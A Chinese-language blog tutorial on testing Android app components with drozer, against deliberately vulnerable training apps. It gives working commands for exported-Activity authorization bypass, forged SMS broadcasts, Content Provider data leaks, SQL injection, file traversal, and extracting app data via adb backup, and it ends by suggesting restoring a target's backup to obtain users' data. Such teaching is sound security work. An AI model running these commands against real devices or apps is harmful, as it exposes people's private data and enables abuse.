【安卓漏洞挖掘】drozer--安卓四大组件的漏洞学习
drozer:
drozer(以前称为Mercury)是一款强大的开源Android安全评估框架,旨在帮助安全研究人员和渗透测试人员发现并利用Android设备和应用程序中的潜在安全漏洞。通过drozer,用户可以在设备上或远程执行一系列安全测试,包括但不限于:访问及控制本地应用:通过API探索和操作已安装的应用程序组件(如Activities、Services、Broadcast Receivers等)。网络通信分析:监控和拦截设备上的网络流量,识别潜在的安全风险。文件系统和数据库访问:查看和修改设备上的文件内容以及应用的数据库数据。模拟攻击:模拟恶意行为,如注入权限提升漏洞、执行代码等。drozer包含一个客户端和一个服务器端。客户端通常在攻击者机器上运行,提供命令行接口;服务器端(agent)安装在目标Android设备上,负责执行实际的安全测试任务。drozer的命令行工具允许用户执行各种自定义的安全测试脚本和命令,比如在您的提问中提到的启动特定应用组件的命令
启动:手机打开drozer_agent
adb forward tcp:31415 tcp:31415
drozer console connect
常用指令:
run app.package.list 命令的作用是列出目标Android设备上已安装的所有应用程序包(packages)的信息。可以使用-f进行过滤
run app.package.attacksurface 包名 命令用于显示指定应用的攻击面信息。这个命令可以帮助安全研究人员和开发者了解目标应用暴露在外的可被攻击的组件和服务。例子:
run app.activity.info -a 包名 命令用于查询指定包名下所有Activity组件的信息。
app.package.info -a 包名 命令用于获取指定Android应用包的详细信息
run app.activity.start --component run app.activity.start --component
命令用于启动Android应用程序中的一个特定的Activity。--component
参数后面跟着的是你想要启动的Activity的完整组件名,包括包名和Activity类名。
Activity越权绕过:
这里先来写一个demo来测试一下这个漏洞,先来简单讲一下这个漏洞原理
在Android系统中,Activity默认是不导出的,如果设置了exported = "true" 这样的关键值或者是添加了<intent-filter>这样的属性,那么此时Activity是导出的,就会导致越权绕过或者是泄露敏感信息等安全风险。
例如:
(1)一些敏感的界面需要用户输入密码才能查看,如果没有对调用此Activity的组件进行权限验证,就会造成验证的越权问题,导致攻击者不需要密码就可以打开
(2)通过Intent给Activity传输畸形数据使得程序崩溃拒绝服务
(3)对Activity界面进行劫持
😅😃😄
我写了一个demo
这里提示输入账号密码,输入正确就会跳入另外一个界面,错误就弹出消息,正常情况我们不知道账号密码,根本无法进去,如果我在另外一个界面配置时加入了
这个界面就会导致越权绕过或者是泄露敏感信息
现在我们直接drozer梭一下
run app.activity.start --component com.example.demo3 com.example.demo3.OtherActivity 就可以绕过了
Broadcast Reciver:
消息伪造和拒绝服务:
原理:
可以通过两种方式注册广播接收器,一种是在AndroidManifest.xml文件中通过<receiver>标签静态注册,另一种是通过Context.registerReceiver()动态注册,指定相应的intentFilter参数,动态注册的广播默认都是导出的,如果导出的BroadcastReceiver没有做权限控制,导致BroadcastReceiver组件可以接收一个外部可控的url、或者其他命令,导致攻击者可以越权利用应用的
先来看看demo
可以看看这个广播接收器的类名 app.broadcast.info -a org.owasp.goatdroid.fourgoats
接着可以再jadx中分析一下这个类,代码如下
package org.owasp.goatdroid.fourgoats.broadcastreceivers;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import org.owasp.goatdroid.fourgoats.misc.Constants;
import org.owasp.goatdroid.fourgoats.misc.Utils;
/* loaded from: classes.dex */
public class SendSMSNowReceiver extends BroadcastReceiver {
Context context;
@Override // android.content.BroadcastReceiver
public void onReceive(Context arg0, Intent arg1) {
this.context = arg0;
SmsManager sms = SmsManager.getDefault();
Bundle bundle = arg1.getExtras();
sms.sendTextMessage(bundle.getString("phoneNumber"), null, bundle.getString("message"), null, null);
Utils.makeToast(this.context, Constants.TEXT_MESSAGE_SENT, 1);
}
}
简单来说就是一旦接收到对应的action,就会获得对应的phonenumber和message。
那如果我们伪造这个action,并修改phonenumber和message的信息,就可以达到消息伪造的效果
先来看看action名
然后 run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 123 --extra string message ggg 就可以达到消息伪造的效果
run app.broadcast.send --action <action> 如果构造其它参数,就会达到程序奔溃退出的效果,达到拒绝服务的效果
Content Provider:
漏洞原理:Android中Content Provider起到在不同的进程APP之间实现共享数据的作用,通过Binder进程间通信机制以及匿名共享内存机制来实现,但是考虑到数据的安全性,我们需要设置一定的保护权限。Binder进程间通信机制突破了以应用程序为边界的权限控制,是安全可控的,数据的访问接口由数据的所有者来提供,数据提供方实现安全控制,决定数据的读写操作
而content Provider组件本身提供了读取权限控制,这导致在使用过程中就会存在一些漏洞
样本apk来源:[原创]Android APP漏洞之战(4)——Content Provider漏洞详解-Android安全-看雪-安全社区|安全招聘|kanxue.com
先来看样本,先保存一段账号密码
接着再用drozer进行扫描
run scanner.provider.finduris -a 包名
run app.provider.query uri 读取数据
可以发现已经泄露出密码信息,接着如果我们要查看Keys表内容的话,会发现权限不够
SQL注入:
run scanner.provider.injection -a <包名> 找寻sql注入点
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'" 可以查看报错信息判断注入点在哪里
发现出现报错了SELECT ' FROM Passwords,那我们可以接着构造select * from key 在用--+注释掉from passwords就可以
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--+" 列出所有表信息
run scanner.provider.sqltables -a 包名 列表app所有表信息
目录遍历漏洞:
run scanner.provider.traversal -a <包名> 查找文件遍历漏洞
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 读取系统文件
数据备份漏洞:
这里还提供了另外一种查看敏感数据的方法
allowBackup:
Android API Level 8及其以上Android系统提供了应用程序的备份和恢复功能,这是由AndroidManifest.xml文件中的allowBackup属性决定,allowBackup 标志为 true 时,用户即可通过 adb backup 和 adb restore 来进行对应用数据的备份和恢复Android 属性allowBackup 安全风险源于adb backup容许任何一个人能够打开USB调试开关,从Android手机中复制应用数据到外设,一旦数据被备份之后,所有应用数据都可被用户读取。adb restore 容许用户指定一个恢复的数据来源(即备份的应用数据)来恢复应用程序数据的创建
先来看一下这个样本的AndroidManifest.xml是否存在该漏洞
那我们就可以将数据备份下来
adb backup -f allowBackup.ab(备份文件路径) -noapk com.mwr.example.sieve
得到allowBackup.ab文件
接着对.ab进行解压:Releases · nelenkov/android-backup-extractor (github.com)
java -jar abe.jar unpack allowBackup.ab 1.tar
再对1.jar进行解压得到数据库文件,使用使用工具进行打开:DB Browser for SQLite (sqlitebrowser.org)
可以发现数据已经泄露
可以卸载该app,然后再安装,随后可以恢复数据:adb restore allowBackup.ab
这个过程中如果我们发现一个目标程序的allowBackup为true,我们可以备份下其数据信息,在另外一个安装该目标程序的手机中进行恢复,这样我们就可以获得用户的敏感数据信息了😝
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?